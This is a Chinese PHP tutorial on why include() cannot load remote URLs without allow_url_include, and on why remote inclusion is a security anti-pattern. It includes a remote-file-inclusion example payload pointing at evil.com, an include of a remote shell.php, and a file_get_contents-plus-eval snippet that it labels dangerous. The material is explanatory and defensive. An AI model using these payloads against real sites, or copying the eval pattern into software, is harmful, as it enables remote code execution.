不能直接用 include 加载远程 URL,因 PHP 默认禁用 allow_url_include=On,仅支持本地文件;启用它存在严重安全风险,正确做法是通过 API 获取结构化数据而非执行远程代码。

不能直接用 include 加载远程 URL,除非 PHP 配置中明确启用了 allow_url_include=On —— 但这个选项从 PHP 5.2 起默认就是 Off,且绝大多数生产环境都禁用它,因为存在严重安全风险。
为什么 include('http://...') 会失败
PHP 的 include 默认只支持本地文件路径。当传入 HTTP/HTTPS URL 时,底层依赖 allow_url_include 开关,而该开关必须同时满足两个前提:
-
allow_url_fopen=On(仅影响fopen/file_get_contents等 I/O 函数) -
allow_url_include=On(专为include/require系列函数开放远程包含)
即使 allow_url_fopen 是开启的,allow_url_include 关闭时,include 'http://x.com/shell.php' 仍会报错:Warning: include(): Unable to find the wrapper "http" - did you forget to enable it when you configured PHP?
替代方案:用 file_get_contents + eval(不推荐)或 curl(推荐)
想“加载远程代码逻辑”,常见错误是试图绕过限制,比如:
访问全球海洋潮汐模型。功能包括查询指定日期、时间和地点的潮高、潮汐极值及格点天气数据。
立即学习“PHP免费学习笔记(深入)”;
$code = file_get_contents('http://example.com/logic.php');
eval($code); // 危险!等同于执行任意远程代码
这比 include 更不可控,且无法做语法校验、作用域隔离。真正可行的替代方式是:
- 用
curl或file_get_contents获取远程内容,仅当作数据处理(如 JSON、HTML 片段) - 若需复用远程逻辑,应通过 API 接口约定协议,返回结构化数据,而非 PHP 代码
- 服务端之间调用建议走 REST/gRPC,而不是动态包含
本地开发临时启用 allow_url_include 的风险
有些开发者在测试时会手动打开 allow_url_include,但要注意:
- 一旦用户输入参与了
include路径(如include $_GET['page']),攻击者可构造?page=http://evil.com/x.php直接执行恶意脚本 - Windows 下甚至可通过 SMB 路径(
smb://)绕过 URL 协议限制,只要系统支持且有访问权限 - PHP-FPM 或 Nginx 配置中若未严格隔离 php.ini,子目录的 .user.ini 可能被覆盖,导致意外启用
真正安全的做法不是想办法让 include 远程运行,而是把“远程逻辑”变成受控接口——参数校验、响应解析、错误隔离,每一步都独立可控。远程包含本身就是一个设计反模式,留下的不是便利,是攻击面。


















